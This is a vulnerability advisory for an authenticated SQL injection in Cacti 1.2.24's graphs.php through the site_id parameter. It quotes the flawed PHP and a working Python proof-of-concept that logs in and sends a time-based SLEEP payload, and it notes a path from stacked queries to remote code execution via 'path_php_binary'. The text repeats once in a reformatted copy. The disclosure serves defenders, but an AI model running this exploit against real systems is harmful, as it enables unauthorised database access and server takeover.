Summary
An authenticated SQL injection vulnerability was discovered during the review of this project. This allows authenticated users to exploit the SQL injection vulnerability to perform privilege escalation and remote code execution.
Details
The vulnerability resides in the graphs.php
file. When dealing with the cases of ajax_hosts and ajax_hosts_noany, if the site_id
parameter is greater than 0, it is directly reflected in the WHERE clause of the SQL statement. This creates an SQL injection vulnerability.
switch (get_request_var('action')) {
// ...
case 'ajax_hosts':
$sql_where = '';
if (get_request_var('site_id') > 0) {
$sql_where = 'site_id = ' . get_request_var('site_id');
}
get_allowed_ajax_hosts(true, 'applyFilter', $sql_where);
break;
case 'ajax_hosts_noany':
$sql_where = '';
if (get_request_var('site_id') > 0) {
$sql_where = 'site_id = ' . get_request_var('site_id');
}
get_allowed_ajax_hosts(false, 'applyFilter', $sql_where);
break;
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
import argparse
import requests
import sys
import urllib3
#import os
#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10
payload = f"""1 AND (SELECT 1 FROM (SELECT(SLEEP({sleep_time})))A)"""
def get_csrf_token():
url = f"{target}/index.php"
res_body = session.get(url).content.decode()
csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0]
if not csrf_token:
print("[-] Unable to find csrf_token")
sys.exit()
return csrf_token
def login(username,password):
login_url = f"{target}/index.php"
csrf_token = get_csrf_token()
data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token}
res_body = session.post(login_url,data=data).content.decode()
if 'You are now logged into <' in res_body:
print('[+] Login successful!')
else:
print('[-] Login failed. Check your credentials')
sys.exit()
def exploit():
url = f"{target}/graphs.php"
params = {
'action':'ajax_hosts',
'site_id':payload
}
print('[+] Sending payload...')
print(f"[+] Payload: {payload}")
session.get(url,params=params)
if __name__=='__main__':
urllib3.disable_warnings()
parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graphs.php 'site_id' SQL Injection (authenticated)")
parser.add_argument('-t','--target',help='',required=True)
parser.add_argument('-u','--username',help='',required=True)
parser.add_argument('-p','--password',help='',required=True)
args = parser.parse_args()
username = args.username
password = args.password
target = args.target
session = requests.Session()
login(username,password)
exploit()
![poc](https://user-images.githubusercontent.com/66078694/256900911-dda5f7f1-d8b5-4a34-a4d6-d48be2298407.PNG)
![burp](https://user-images.githubusercontent.com/66078694/256900816-3e9b9252-7a91-48c1-9c22-9657d3710a3c.PNG)
Impact
This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database.
Summary
An authenticated SQL injection vulnerability was discovered during the review of this project. This allows authenticated users to exploit the SQL injection vulnerability to perform privilege escalation and remote code execution.
Details
The vulnerability resides in the
graphs.php
file. When dealing with the cases of ajax_hosts and ajax_hosts_noany, if thesite_id
parameter is greater than 0, it is directly reflected in the WHERE clause of the SQL statement. This creates an SQL injection vulnerability.PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
Impact
This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database.